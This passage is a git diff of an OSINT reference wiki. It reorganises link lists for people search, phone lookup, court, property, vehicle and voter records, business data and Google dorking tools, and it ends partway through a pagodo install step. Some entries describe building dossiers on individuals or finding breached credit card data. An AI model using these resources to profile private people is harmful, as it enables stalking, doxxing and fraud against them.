-### **Misc Utility** - -* OSINT Browser Extensions - * [https://github.com/ninoseki/mitaka](https://github.com/ninoseki/mitaka) - * [https://chrome.google.com/webstore/detail/sputnik/manapjdamopgbpimgojkccikaabhmocd?hl=en](https://chrome.google.com/webstore/detail/sputnik/manapjdamopgbpimgojkccikaabhmocd?hl=en) - * [https://chrome.google.com/webstore/detail/threatpinch-lookup/ljdgplocfnmnofbhpkjclbefmjoikgke?hl=en](https://chrome.google.com/webstore/detail/threatpinch-lookup/ljdgplocfnmnofbhpkjclbefmjoikgke?hl=en) -* [https://www.webgap.io/](https://www.webgap.io/) - Remote Browser Service. Gives 12 month free use for all OSINT researchers. -* [Hunchly](https://hunch.ly/) **-** Hunchly is a an interesting tool that passively captures the web pages as you browse. This can be handy when you are parsing through a large volume of pages and you want to keep track of them, or if you are concerned a page may change after you visit. -* [Carbon14](https://github.com/Lazza/Carbon14) - This is an OSINT tool for estimating when a web page was written. Common CMS's easily permit to change the displayed date of content, affecting both websites and RSS feeds. Moreover, the dynamic nature of most web pages does not allow investigators to use the `Last-Modified` HTTP header. However, most users do not alter the timestamps of static resources that are uploaded while writing articles. The `Last-Modified` header of linked images can be leveraged to estimate the time period spent by the writer while preparing a blog post. This period can be compared to what the CMS shows in order to detect notable differences. -* [JupyterPen](https://github.com/obheda12/JupyterPen) **** - For those who love Jupyter notebooks, this is a project that started as an OSINT framework built around JupyterNotebooks and has expanded into a full penetration testing tool. -* [CardPwn](https://github.com/itsmehacker/CardPwn) - OSINT Tool to find Breached Credit Cards Information -* [https://api.c99.nl/](https://api.c99.nl/) - API platform with dozens of web based utilities. -* [https://www.tracelabs.org/initiatives/osint-vm](https://www.tracelabs.org/initiatives/osint-vm) -* [https://start.me/p/0PeKwy/osint-russie-iec-ies](https://start.me/p/0PeKwy/osint-russie-iec-ies) -* [https://github.com/j3ssie/metabigor](https://github.com/j3ssie/metabigor) - Metabigor is Intelligence tool, its goal is to do OSINT tasks and more but without any API key. -* [upi-recon-cli](https://github.com/LuD1161/upi-recon-cli) - A command line tool for reconnaissance using virtual payment address (VPA). This tool leverages the openness available with the UPI platform to find mobile number, gmail account and even vehicle registration number. +## **Miscellaneous Utilities** + +* OSINT browser extensions are maintained on Threat Data with other quick lookup tools. + +{% content-ref url="../threat-data.md" %} +[threat-data.md](../threat-data.md) +{% endcontent-ref %} + +* [https://www.webgap.io/](https://www.webgap.io/) - Remote browser service providing 12 months of free access for OSINT researchers. +* [Hunchly](https://hunch.ly/) - Web capture tool that passively records web pages as you browse. Useful for tracking large volumes of pages or preserving content that may change after your visit. +* [Carbon14](https://github.com/Lazza/Carbon14) - OSINT tool for estimating when a web page was written. Common CMS platforms easily allow modification of displayed content dates, affecting both websites and RSS feeds. Since the dynamic nature of most web pages prevents investigators from reliably using the `Last-Modified` HTTP header, this tool leverages the `Last-Modified` header of linked images to estimate the time period spent preparing content. This can be compared against CMS-displayed dates to detect discrepancies. +* JupyterPen has moved to Red Offensive because it has expanded into a penetration testing toolkit. + +{% content-ref url="../../red-offensive/scanning-active-recon/recon-frameworks.md" %} +[recon-frameworks.md](../../red-offensive/scanning-active-recon/recon-frameworks.md) +{% endcontent-ref %} + +* [CardPwn](https://github.com/itsmehacker/CardPwn) - OSINT tool to find breached credit card information. +* [https://api.c99.nl/](https://api.c99.nl/) - API platform with dozens of web-based utilities. +* Trace Labs OSINT VM is maintained on the OSINT hub page. +* [https://start.me/p/0PeKwy/osint-russie-iec-ies](https://start.me/p/0PeKwy/osint-russie-iec-ies) - Curated OSINT resources focused on Russia. +* [https://github.com/j3ssie/metabigor](https://github.com/j3ssie/metabigor) - Intelligence tool designed to perform OSINT tasks without requiring API keys. +* [upi-recon-cli](https://github.com/LuD1161/upi-recon-cli) - Command-line reconnaissance tool using virtual payment addresses (VPA). Leverages the UPI platform to discover mobile numbers, Gmail accounts, and vehicle registration numbers. + +## **Deprecated/Inactive Tools** + +
+ +Tools No Longer Active + +The following tools are listed for historical reference but are no longer operational or maintained. They may still provide value through archived documentation or alternative implementations. + +* [http://twittertrails.com/](http://twittertrails.com/) - **[INACTIVE]** Allowed members of the media to track the trustworthiness of stories shared on Twitter/X. Service is no longer operational. +* [https://socialbearing.com/](https://socialbearing.com/) - **[SHUT DOWN]** Twitter analytics and bot detection tool. Service has been discontinued. +* [goKML.net](http://gokml.net/) - **[OFFLINE]** KML content embedding service for geolocation data. No longer accessible. +* [wificafespots.com](http://www.wificafespots.com/) - **[INACTIVE]** Directory of free WiFi cafe locations. Site is no longer maintained. +* [wifispc.com](https://wifispc.com/) - **[INACTIVE]** WiFi password mapping service. No longer actively maintained. +* [BlockCypher herokuapp](https://blockcypher.herokuapp.com/) - **[BROKEN LINK]** Blockchain explorer was hosted on Heroku free tier, which shut down in 2022. Use the official BlockCypher.com site or alternative blockchain explorers instead. +* [https://www.geocreepy.com/](https://www.geocreepy.com/) - **[OUTDATED]** Geolocation OSINT tool. No longer actively maintained and may not work with modern social media platforms due to API changes. +* [mylnikov.org](https://www.mylnikov.org/) - **[UNRELIABLE]** WiFi geolocation API. Service is frequently unavailable and no longer maintained. + +
diff --git a/cyber-intelligence/osint/name-phone-gov-record.md b/cyber-intelligence/osint/name-phone-gov-record.md index f0fa47b..6b62206 100644 --- a/cyber-intelligence/osint/name-phone-gov-record.md +++ b/cyber-intelligence/osint/name-phone-gov-record.md @@ -2,19 +2,18 @@ ## **People Search/PII** -This section will get stalker-ish real quick. While limited in usefulness for a penetration test, it can help you discover all the interesting data surrounding a person, or link data you have found back to an individual. For those who would like a premium all in one option, there are a few handy platforms that can make collection faster and easier. +This section covers extensive personal information gathering techniques. While these methods may have limited direct application during penetration testing, they are valuable for discovering comprehensive data about individuals and correlating discovered information back to specific people. For those seeking premium all-in-one solutions, several powerful platforms can streamline and accelerate the data collection process.
People/PII Search tools -* [https://sociallinks.io/](https://sociallinks.io/) - Premium collection of OSINT tools focusing on data gathered from social media and other sits. - * [Gamayun](https://sociallinks.io/products/gamayun) - Gamayun is a web based tool designed for conducting OSINT investigations when searching for emails, locations, phone number, aliases, and photos. - * [SL-Pro](https://sociallinks.io/products/sl-pro) - SL Pro is a professional tool for searching data from social media accounts, the Darknet, blockchains, and internet data leaks. It comes with API Integrations that link to 1100 methods of search across 50+ sources of data on over 800 million identities, which makes it ideal for when performing OSINT on a person. -* [https://www.melissa.com/v2/lookups/](https://www.melissa.com/v2/lookups/) - Arguably one of the best search tools for people out there. Provides a massive amount of tools and resources to search people by name, address, phone number and so on. They also provide loads of other useful tools and resources including maps, federal data, property records and more. -* [https://socialcatfish.com](https://socialcatfish.com) - Find connections and verify a person's online identity using a name, image, email address, phone number, username or physical address. -* [https://gofindwho.com/](https://gofindwho.com/) - Find people for free by phone number, name, email address, and username on Facebook and in public records. -* [https://effectgroup.io](https://effectgroup.io) - One of the best tools for searching people by username, email address, real name or phone number and build a dossier on your target. Searches social media sites, data breaches, documents and much more. Requires a paid subscription after first search. +* [https://sociallinks.io/](https://sociallinks.io/) - Premium collection of OSINT tools focusing on data gathered from social media and other sites. + * [Gamayun](https://sociallinks.io/products/gamayun) - Web-based tool designed for conducting OSINT investigations by searching for emails, locations, phone numbers, aliases, and photos. + * [SL-Pro](https://sociallinks.io/products/sl-pro) - Professional tool for searching data from social media accounts, the Darknet, blockchains, and internet data leaks. Features API integrations linking to 1,100 search methods across 50+ data sources covering over 800 million identities, making it ideal for performing OSINT investigations on individuals. +* [https://www.melissa.com/v2/lookups/](https://www.melissa.com/v2/lookups/) - Comprehensive people search platform offering extensive tools and resources for searching by name, address, phone number, and more. Additional features include maps, federal data, property records, and various other investigative resources. +* [https://socialcatfish.com](https://socialcatfish.com) - Find connections and verify a person's online identity using a name, image, email address, phone number, username or physical address (paid service). +* [https://effectgroup.io](https://effectgroup.io) - Powerful tool for searching people by username, email address, real name, or phone number to build comprehensive dossiers on targets. Searches social media sites, data breaches, documents, and more. Requires a paid subscription after the first search. * [https://medium.com/the-first-digit/osint-how-to-find-information-on-anyone-5029a3c7fd56](https://medium.com/the-first-digit/osint-how-to-find-information-on-anyone-5029a3c7fd56)
@@ -23,20 +22,24 @@ This section will get stalker-ish real quick. While limited in usefulness for a Name Search -Name search records can get muddy really quickly when dealing with names like "John Smith", however many tools will allow you refine the search with other data points such as location or other context. As with any search tool, the more data you feed it, the more accurate your results will be. As always I like to start with one of Michael Bazzell's handy tools, **Name.html**. This tool will search databases of names that will return associated data points for building a full profile of your target. From here, the next step is to start looking for any public records that may be associated with the name you are searching for. Remember to use location to aid in context. +Name search records can become ambiguous quickly when dealing with common names like "John Smith". However, many tools allow you to refine searches with additional data points such as location or other contextual information. As with any search tool, the more data you provide, the more accurate your results will be. A recommended starting point is Michael Bazzell's **Name.html** tool, which searches name databases and returns associated data points for building comprehensive target profiles. The next step is to search for public records associated with the name. Remember to use location data to provide additional context and improve search accuracy. * [Xlek](https://xlek.com) - Searches millions of online records for a given name. -* [Thats Them](https://thatsthem.com/) - Find all sorts of information about a person including address, email, even their cars VIN number -* [Public Records ](https://www.blackbookonline.info/)- Search public government records for entries relating to your target. -* [Peekyou](https://www.peekyou.com/) - Popular people search engine -* [BeenVerified](https://www.beenverified.com/) - People search engine that can return people, vehicle, property and contact info.**Volunteer OSINT** -* ****[**https://opensanctions.org/**](https://opensanctions.org/) **-** The persons of interest database -* [https://verecor.com/](https://verecor.com/) - Generic people search site for U.S. citizens. -* [https://ufind.name/](https://ufind.name/) - Search for a person's name and see matching results including LinkedIn and Facebook accounts, white page results, vehicle registration database entries, marketing data and more. +* [Thats Them](https://thatsthem.com/) - Find comprehensive information about individuals including address, email, and vehicle VIN numbers. +* [Public Records](https://www.blackbookonline.info/) - Search public government records for entries relating to your target. +* [Peekyou](https://www.peekyou.com/) - Popular people search engine. +* [BeenVerified](https://www.beenverified.com/) - People search engine that returns information on individuals, vehicles, property, and contact details (requires paid subscription for full access). +* [https://opensanctions.org/](https://opensanctions.org/) - Database of persons of interest including those subject to sanctions and watchlists. -{% file src="../../.gitbook/assets/Name (1).html" %} +Local helper copy: [Name.html](../../.gitbook/assets/Name.html) + +Email and username OSINT has its own canonical page. Use this page when the investigation starts from a person, phone number, public record, business record, vehicle, property, or government source; pivot to Username/Email when the identifier becomes an email address or handle. + +{% content-ref url="username-email.md" %} +[username-email.md](username-email.md) +{% endcontent-ref %} ## Telephone Numbers @@ -44,60 +47,122 @@ Name search records can get muddy really quickly when dealing with names like "J Telephone Number Lookup Tools -* [Carrier lookup](https://freecarrierlookup.com/) - Enter a phone number and returns the carrier name and whether the number is wireless or landline. -* [NumLookup](https://www.numlookup.com/) - Free reverse phone lookup -* [Number Validator](https://www.twilio.com/lookup) - Search phone number format and origin -* [CallerID check](http://calleridservice.com/) - A database of caller names used to identify the name of a caller when receiving an inbound call from the United States or Canada. -* [TrueCaller Caller ID check ](https://www.truecaller.com/)- One of the best CallerID utilities -* [Spy Dialer](https://spydialer.com/default.aspx) - Reverse phone number lookup for cell phones, VOIP and landlines. -* [https://seon.io/intelligence-tool/#phone-analysis-module](https://seon.io/intelligence-tool/#phone-analysis-module) - Confirm if the number is valid, and detect the origin country, carrier, and number type. -* [https://800notes.com/](https://800notes.com/) - A crowd-sourced reverse phone number search. Good for identifying scammer numbers. -* [https://callername.com/](https://callername.com/) - Free phone number lookup service where you can look up a cell phone, VoIP or Landline number. -* [WhitePages](https://www.whitepages.com/) - Find people, contact info & background checks -* [National Cellular Directory](https://www.nationalcellulardirectory.com/) - Begin your comprehensive people search now -* [Phone Validator](https://www.phonevalidator.com/) - Is it a cell phone or is it a landline or is it a fake? -* [Free Carrier Lookup](https://freecarrierlookup.com/) - Enter a phone number and we'll return the carrier name -* [RocketReach](https://rocketreach.co/) - Your first-degree connection to any professional -* [sync.me](https://sync.me/) - Find out who called -* [EmobileTracker](https://www.emobiletracker.com/) - Track Mobile Owner Name, Location and Mobile Service Provider -* [Reverse Phone Lookup](https://www.reversephonelookup.com/) - Find Out The Owner Of A Phone Number +* [Free Carrier Lookup](https://freecarrierlookup.com/) - Enter a phone number and returns the carrier name and whether the number is wireless or landline. +* [NumLookup](https://www.numlookup.com/) - Free reverse phone lookup. +* [Twilio Lookup](https://www.twilio.com/lookup) - Validate phone number format and origin country. +* [TrueCaller](https://www.truecaller.com/) - Comprehensive caller identification utility with extensive global database coverage. +* [Spy Dialer](https://spydialer.com/default.aspx) - Reverse phone number lookup for cell phones, VoIP, and landlines. +* [SEON Phone Analysis](https://seon.io/intelligence-tool/#phone-analysis-module) - Validate phone numbers and detect origin country, carrier, and number type. +* [800notes](https://800notes.com/) - Crowd-sourced reverse phone number search, particularly useful for identifying scammer numbers. +* [CallerName](https://callername.com/) - Free phone number lookup service for cell phones, VoIP, and landline numbers. +* [WhitePages](https://www.whitepages.com/) - Find people, contact information, and background checks. +* [National Cellular Directory](https://www.nationalcellulardirectory.com/) - Comprehensive people search directory (requires payment for detailed results). +* [Phone Validator](https://www.phonevalidator.com/) - Determine if a number is a cell phone, landline, or invalid. +* [RocketReach](https://rocketreach.co/) - Professional contact information discovery tool. +* [Reverse Phone Lookup](https://www.reversephonelookup.com/) - Identify phone number owners. * [https://www.aware-online.com/en/how-can-i-find-a-google-account-by-phone-number/](https://www.aware-online.com/en/how-can-i-find-a-google-account-by-phone-number/) -{% file src="../../.gitbook/assets/Telephone.html" %} +Local helper copy: [Telephone.html](../../.gitbook/assets/Telephone.html) ## Government and Business Records -The US government loves paperwork, and thanks to many initiatives like the Freedom of Information Act, so much of what they gather is available for you to parse through. **Business.html** searches through multiple sources like public records, voter record, and court documents. +The U.S. government maintains extensive documentation, and thanks to initiatives like the Freedom of Information Act (FOIA), much of this information is publicly accessible. The **Business.html** tool searches through multiple sources including public records, voter records, and court documents to consolidate business and government-related information. -* [OSHINT TRADINT Links](https://ohshint.gitbook.io/oh-shint-its-a-blog/osint-web-resources/business-research-and-trade-intelligence-tradint) -* [OSHINT FININT Links](https://ohshint.gitbook.io/oh-shint-its-a-blog/osint-web-resources/financial-intelligence-finint) +* [OH SHINT TRADINT Links](https://ohshint.gitbook.io/oh-shint-its-a-blog/osint-web-resources/business-research-and-trade-intelligence-tradint) +* [OH SHINT FININT Links](https://ohshint.gitbook.io/oh-shint-its-a-blog/osint-web-resources/financial-intelligence-finint)
Legal Records Search Tools -* [Background checks](https://freebackgroundcheck.org/) - Search for mentions of a person in court cases, contact information, assets, police records and much more! +* [Background checks](https://freebackgroundcheck.org/) - Search for mentions of individuals in court cases, contact information, assets, police records, and more. * [https://www.judyrecords.com/](https://www.judyrecords.com/) - Search over 580 million United States court cases. -* [https://case.law/](https://case.law/) - A free tool that allows you to search over 1.7 million U.S. federal cases and over 4.9 million state cases. +* [https://case.law/](https://case.law/) - Free tool for searching over 1.7 million U.S. federal cases and over 4.9 million state cases. * [https://www.courtrecord.net/](https://www.courtrecord.net/) - Search complete and up-to-date public court records in the U.S. * [https://publicrecords.searchsystems.net/](https://publicrecords.searchsystems.net/) - Search for United States public records. -* [https://arrests.org](https://arrests.org) -* [Public Records ](https://www.blackbookonline.info/)- Search public government records for entries relating to your target. -* [PACER Court Case documents](https://pacer.uscourts.gov/) +* [https://arrests.org](https://arrests.org) - Search arrest records and mugshots. +* [Public Records](https://www.blackbookonline.info/) - Search public government records for entries relating to your target. +* [PACER Court Case documents](https://pacer.uscourts.gov/) - Public Access to Court Electronic Records for federal court documents.
-Personell Records +Personnel Records + +* [Vital Records Search Tools](https://stevemorse.org/index.html) - Comprehensive toolkit for finding immigration records, census records, vital records, and tools for working with calendars, maps, foreign alphabets, and numerous other applications. These tools fetch data from various websites with enhanced search capabilities compared to native website tools. Created by Stephen P. Morse. +* [Legacy.com Obituary Search](https://www.legacy.com/search) - Search obituaries and death notices. +* [Social Security Death Index (SSDI)](https://www.familysearch.org/search/collection/1202535) - Search historical death records maintained by the Social Security Administration. Useful for verifying deceased individuals and historical research. +* [FamilySearch](https://www.familysearch.org/) - Free genealogical records including birth, death, marriage, and census records. +* [Ancestry.com](https://www.ancestry.com/) - Genealogy and family history platform with extensive historical records (requires subscription). + +
+ +
-* [Vital Records Search Tools](https://stevemorse.org/index.html) - This site contains tools for finding immigration records, census records, vital records, and for dealing with calendars, maps, foreign alphabets, and numerous other applications. Some of these tools fetch data from other websites but do so in more versatile ways than the search tools provided on those websites. Created by Stephen P, Morse. -* [Legacy.com Obituary Search](https://www.legacy.com/search) +Property and Real Estate Records +Property records are public documents that can reveal ownership history, property values, tax information, and transaction details. These records are typically maintained at the county level and are valuable for connecting individuals to locations and assets. +* [Zillow](https://www.zillow.com/) - Real estate platform with property values, sales history, tax assessments, and ownership information. +* [Redfin](https://www.redfin.com/) - Real estate website with property details, transaction history, and market data. +* [Realtor.com](https://www.realtor.com/) - Property search with detailed listings and historical sales data. +* [PropertyShark](https://www.propertyshark.com/) - Comprehensive property records, ownership information, and real estate data (requires subscription for full access). +* [County Tax Assessor Websites](https://www.pulawski.net/assessor/) - Directory of county assessor and property appraiser websites across the United States. +* [NETR Online](https://www.netronline.com/) - Public record search for property records, deeds, and GIS maps by state and county. +* [FloodFactor](https://floodfactor.com/) - Property-specific flood risk information and environmental data. +* [Regrid](https://regrid.com/) - Nationwide parcel boundary data and property information platform. + +
+ +
+ +Professional Licensing and Certifications + +Many professions require state or federal licensing, and these databases are often publicly searchable. License verification can confirm professional credentials, disciplinary actions, and current license status. + +* [Federation of State Medical Boards](https://www.docinfo.org/) - Verify physicians' credentials, board certifications, and disciplinary actions. +* [National Provider Identifier (NPI) Registry](https://npiregistry.cms.hhs.gov/) - Search for healthcare providers by name, location, or NPI number. +* [State Bar Associations](https://www.americanbar.org/groups/legal_services/flh-home/flh-bar-directories-and-lawyer-finders/) - Directory of state bar associations for verifying attorney licenses and finding disciplinary records. +* [Nursys License Verification](https://www.nursys.com/) - Verify nursing licenses across multiple states through the National Council of State Boards of Nursing (NCSBN) unified system. +* [State Contractor License Boards](https://www.nascla.org/contractors) - Verify contractor licenses and check for complaints or violations. +* [FAA Airman Registry](https://amsrvs.registry.faa.gov/airmeninquiry/) - Search for pilot certifications, ratings, and contact information. +* [FCC License Search](https://wireless2.fcc.gov/UlsApp/UlsSearch/searchLicense.jsp) - Search for amateur radio licenses, commercial radio licenses, and associated addresses. +* [Professional License Lookup](https://www.usa.gov/professional-licenses) - Government directory for finding state-specific professional licensing boards. +* [FINRA BrokerCheck](https://brokercheck.finra.org/) - Verify background information on financial brokers and investment advisors. +* [CPA Directory](https://nasba.org/stateboards/) - State-by-state directory of CPA licensing boards. + +
+ +
+ +Vehicle and Transportation Records + +Vehicle records can provide ownership information, registration history, accident records, and help identify vehicles associated with individuals. + +* [VINCheck.info](https://www.vincheck.info/) - Free VIN decoder and vehicle history lookup tool. +* [NICB VINCheck](https://www.nicb.org/vincheck) - National Insurance Crime Bureau's free VIN check for theft and total loss records. +* [NHTSA VIN Decoder](https://vpic.nhtsa.dot.gov/decoder/) - Official Department of Transportation VIN decoder for vehicle specifications. +* [NMVTIS Consumer Access](https://www.vehiclehistory.gov/) - National Motor Vehicle Title Information System for vehicle history reports. +* [FAA Aircraft Registry](https://registry.faa.gov/aircraftinquiry/) - Search for aircraft registration, ownership, and specifications. +* [U.S. Coast Guard Vessel Documentation](https://www.dco.uscg.mil/Our-Organization/Assistant-Commandant-for-Prevention-Policy-CG-5P/National-Vessel-Documentation-Center/) - Search for documented vessels and ownership information. +* [HIN Decoder](https://www.usboatregistration.com/hin-decoder/) - Hull Identification Number decoder for boats. +* [License Plate Lookup Services](https://www.faxvin.com/license-plate-lookup) - Various state DMV services for plate lookups (availability varies by state). + +
+ +
+ +Voter Registration Records + +Voter registration records are public in many states and can provide address history, party affiliation, and voting history. Access and available information varies significantly by state. + +* [Voter Registration by State](https://www.ncsl.org/elections-and-campaigns/access-to-and-use-of-voter-registration-lists) - National Conference of State Legislatures guide to accessing voter registration records by state. +* [VoterRecords.com](https://voterrecords.com/) - Search voter registration information across multiple states (may require payment for detailed records). +* [State Voter File Access](https://www.verifiedvoting.org/voter-files/) - Information on how to request voter files from individual states.
@@ -107,13 +172,43 @@ The US government loves paperwork, and thanks to many initiatives like the Freed * [https://search.gleif.org/](https://search.gleif.org/) - Look up company information from Global Legal Entity Identifier Foundation (GLEIF). * [https://opencorporates.com](https://opencorporates.com) - Giant public database of corporate information. -* [SEC filings](https://www.sec.gov/edgar.shtml) - All companies, foreign and domestic, are required to file registration statements, periodic reports, and other forms electronically through EDGAR. Anyone can access and download this information for free. Here you'll find links to a complete list of filings available through EDGAR and instructions for searching the EDGAR database. +* [SEC EDGAR](https://www.sec.gov/edgar.shtml) - All companies, foreign and domestic, are required to file registration statements, periodic reports, and other forms electronically through EDGAR. Anyone can access and download this information for free. Here you'll find links to a complete list of filings available through EDGAR and instructions for searching the EDGAR database. +* [IRS Form 990 Search](https://www.irs.gov/charities-non-profits/form-990-series-downloads) - Search tax-exempt organization filings (non-profits). Also available through [ProPublica Nonprofit Explorer](https://projects.propublica.org/nonprofits/). +* [State Secretary of State Business Search](https://www.sos.gov/) - Directory of state-level business registration databases. Search by state for LLC registrations, corporation filings, and registered agents. +* [D&B Hoovers](https://www.dnb.com/products/marketing-sales/dnb-hoovers.html) - Comprehensive business intelligence platform with company profiles, financials, and contacts (requires subscription). +* [Crunchbase](https://www.crunchbase.com/) - Database of startups, funding rounds, investors, and key personnel in the technology sector. +* [Pitchbook](https://pitchbook.com/) - Private equity and venture capital database with company financials and deal information (requires subscription). +* [PrivCo](https://www.privco.com/) - Financial data and intelligence on private companies. +* [ZoomInfo](https://www.zoominfo.com/) - Business intelligence platform with company information and contact details (requires subscription). +* [ImportGenius](https://www.importgenius.com/) - Search U.S. customs import and export data to identify business relationships and supply chains (requires subscription). +* [SAM.gov](https://sam.gov/) - System for Award Management - search for government contractors and grant recipients. +* [USA Spending](https://www.usaspending.gov/) - Track federal government spending, contracts, and grants by recipient. -{% file src="../../.gitbook/assets/Business (1).html" %} +Local helper copy: [Business.html](../../.gitbook/assets/Business.html) + +## Deprecated or Unreliable Tools + +
+ +Tools No Longer Recommended + +These tools were previously included but are now deprecated, shut down, or have become unreliable. They are kept here for historical reference. + +**Phone Number Lookup:** +* [sync.me](https://sync.me/) - Service has significantly changed or shut down, no longer reliable for caller identification. +* [EmobileTracker](https://www.emobiletracker.com/) - Less reliable service that may not provide accurate or current information. +* [CallerID check](http://calleridservice.com/) - Service appears outdated with limited functionality. + +**People Search:** +* [gofindwho.com](https://gofindwho.com/) - Service reliability has declined, often returns limited or outdated information. +* [verecor.com](https://verecor.com/) - Less reliable people search site with inconsistent results. +* [ufind.name](https://ufind.name/) - Service appears to be less maintained with questionable result accuracy. + +
-## Investigaiton MindMaps +## Investigation MindMaps ![](<../../.gitbook/assets/image (37).png>) diff --git a/cyber-intelligence/osint/search-engines/README.md b/cyber-intelligence/osint/search-engines/README.md index ee93d25..2447a9e 100644 --- a/cyber-intelligence/osint/search-engines/README.md +++ b/cyber-intelligence/osint/search-engines/README.md @@ -1,36 +1,38 @@ # Search Engines -Cyber search engines are a beautiful set of tools that allow us to do research on specific targets as they relate to cybersecurity. Searching by IP, domain, vulnerability, etc. allows us to perform tasks ranging from passive recon as part of a penetration test, to threat intelligence research. Search.html - Your OSINT starting place. +Cybersecurity-focused search engines are powerful tools that enable targeted research on specific assets, vulnerabilities, and threat intelligence. By searching for IP addresses, domains, CVEs, and other indicators, security professionals can perform tasks ranging from passive reconnaissance during penetration testing to comprehensive threat intelligence analysis. -When initiating a search on anything, the first stop is a bit of HTML whipped up by OSINT master Michael Bazzell. This handy tool allows an easy search of multiple sources with one click. I prefer this to other others as it allows me to manually parse the search page and go down rabbit holes from there. +## Search.html - Your OSINT Starting Point -Included Search Engines: Google, Google Date, Bing, Yahoo, Searx, Yandex, Baidu, Exalead, Duckduckgo, Startpage, Newsgroups, Blogs, FTP Servers, Indexes, Scholars, Patents, Qwant, News, Wayback, and Ahmia. Google is the most powerful and scary information gathering tool today. Beyond searching for basic keywords, adding in advanced commands can refine your results and reveal incredible amounts of information about your target. +When beginning any OSINT investigation, consider starting with Search.html, a comprehensive HTML interface created by OSINT expert Michael Bazzell. This tool provides a unified interface for searching multiple sources simultaneously, allowing researchers to efficiently query various search engines and services with a single action. The tool's design facilitates manual analysis and enables investigators to follow multiple leads as they emerge during research. -These are by no means exhaustive, but they are a handy place to start. +**Included Search Engines:** Google, Google Date, Bing, Yahoo, Searx, Yandex, Baidu, DuckDuckGo, Startpage, Newsgroups, Blogs, FTP Servers, Indexes, Scholars, Patents, Qwant, News, Wayback Machine, and Ahmia. Some older Search.html entries, such as Exalead, are no longer active public web search engines. -{% file src="../../../.gitbook/assets/Search (1).html" %} +The resources listed below provide a solid foundation for search engine-based investigation techniques, though they represent only a starting point for comprehensive OSINT research. + +Local helper copy: [Search.html](../../../.gitbook/assets/Search.html) ## [**Google**](https://google.com) -Google is the most powerful and scary information gathering tool today. Beyond searching for basic keywords, adding in advanced commands can refine your results and reveal incredible amounts of information about your target. +Google remains one of the most comprehensive information gathering tools available to security professionals. While basic keyword searches are useful, leveraging advanced search operators (commonly known as "Google Dorks") can significantly refine results and uncover valuable intelligence about targets, including exposed files, vulnerable systems, and sensitive information inadvertently published online.
-Google search utility +Google Search Utilities -* [Google Advanced Search](https://www.google.com/advanced_search) - Google search with multiple special options for your search parameters -* [Keyword Tool](https://keywordtool.io) - Tool for assisting in analyzing the efficacy of searching for certain keywords -* [Google keyword monitor](https://www.google.com/alerts) - An awesome tool that can alert you on new search hits on certain keywords. -* [ISearchFrom](https://isearchfrom.com/) - Tool that allows you to search google as if you are in different locations to analyze the differences in results. +* [Google Advanced Search](https://www.google.com/advanced_search) - Google's native advanced search interface with multiple filtering options for refining search parameters +* [Keyword Tool](https://keywordtool.io) - Analyzes keyword effectiveness and generates related search terms to improve search strategy +* [Google Alerts](https://www.google.com/alerts) - Automated monitoring service that sends notifications when new content matching specified keywords appears in Google's index +* [ISearchFrom](https://isearchfrom.com/) - Simulates Google searches from different geographic locations to analyze regional variations in search results
{% tabs %} {% tab title="Google search commands (Dorks)" %} -* [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) - Repository of google search tricks for searching for exactly what you need. -* [SANS Google Cheatsheet](https://www.sans.org/security-resources/GoogleCheatSheet.pdf) -* [https://ahrefs.com/blog/google-advanced-search-operators/](https://ahrefs.com/blog/google-advanced-search-operators/) -* [http://www.googleguide.com/advanced\_operators\_reference.html](http://www.googleguide.com/advanced_operators_reference.html) +* [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) - Comprehensive repository of Google search operators and techniques for discovering exposed information, vulnerable systems, and misconfigured websites +* [SANS Google Cheatsheet](https://www.sans.org/security-resources/GoogleCheatSheet.pdf) - Quick reference guide for Google search operators +* [https://ahrefs.com/blog/google-advanced-search-operators/](https://ahrefs.com/blog/google-advanced-search-operators/) - Detailed guide to Google's advanced search operators +* [http://www.googleguide.com/advanced\_operators\_reference.html](http://www.googleguide.com/advanced_operators_reference.html) - Complete reference for advanced Google operators @@ -40,34 +42,31 @@ Google is the most powerful and scary information gathering tool today. Beyond s {% endtab %} {% tab title="Google Dorking Tools" %} -* [EasyRecon.html](https://s0cm0nkey.github.io/EasyRecon.html) - My Recon tool that takes multiple resources and puts them in an easy to use webpage. Incorporates dorks from: - * [Goohak](https://github.com/1N3/Goohak/) - Automatically launch google hacking queries against a target domain to find vulnerabilities and enumerate a target. +* [EasyRecon.html](https://s0cm0nkey.github.io/EasyRecon.html) - Web-based reconnaissance tool that consolidates multiple Google Dork resources into a single, user-friendly interface. Incorporates dorks from: + * [Goohak](https://github.com/1N3/Goohak/) - Automated tool for launching Google Hacking Database queries against target domains to identify vulnerabilities and enumerate exposed information * [https://www.isec.ne.jp/wp-content/uploads/2017/10/65Goohack.pdf](https://www.isec.ne.jp/wp-content/uploads/2017/10/65Goohack.pdf) - * [https://dorks.faisalahmed.me/](https://dorks.faisalahmed.me/) - Bug Bounty focused dorking helper - * Fast Google Dorks Scan [https://github.com/IvanGlinkin/Fast-Google-Dorks-Scan](https://github.com/IvanGlinkin/Fast-Google-Dorks-Scan) -* 0xDork [https://github.com/rlyonheart/0xdork](https://github.com/rlyonheart/0xdork) -* SDorker [https://github.com/TheSpeedX/SDorker](https://github.com/TheSpeedX/SDorker) -* Google Dork Builder Firefox Add-on [https://addons.mozilla.org/ru/firefox/addon/google-dork-builder/](https://addons.mozilla.org/ru/firefox/addon/google-dork-builder/) -* Depreciated - * ASHOK (osint swiss knife) [https://github.com/ankitdobhal/Ashok](https://github.com/ankitdobhal/Ashok) - * [Googd0rker ](https://github.com/ZephrFish/GoogD0rker/)- GoogD0rker is a tool for firing off google dorks against a target domain, it is purely for OSINT against a specific target domain. + * [https://dorks.faisalahmed.me/](https://dorks.faisalahmed.me/) - Bug bounty-focused Google dorking assistant + * [Fast Google Dorks Scan](https://github.com/IvanGlinkin/Fast-Google-Dorks-Scan) - Rapid scanning tool for executing multiple Google dorks efficiently +* [0xDork](https://github.com/rlyonheart/0xdork) - Command-line Google dorking tool for automating dorking operations +* [SDorker](https://github.com/TheSpeedX/SDorker) - Automated Google dork scanner with multiple search engine support +* [Google Dork Builder Firefox Add-on](https://addons.mozilla.org/ru/firefox/addon/google-dork-builder/) - Browser extension for constructing and testing Google dork queries interactively {% endtab %} {% tab title="Pagodo" %} -[pagodo](https://github.com/opsdisk/pagodo) - pagodo (Passive Google Dork) - Automate Google Hacking Database scraping and searching +[pagodo](https://github.com/opsdisk/pagodo) - Passive Google Dork tool that automates Google Hacking Database scraping and searching against target domains -``` -##Install +```bash +## Install git clone https://github.com/opsdisk/pagodo.git cd pagodo 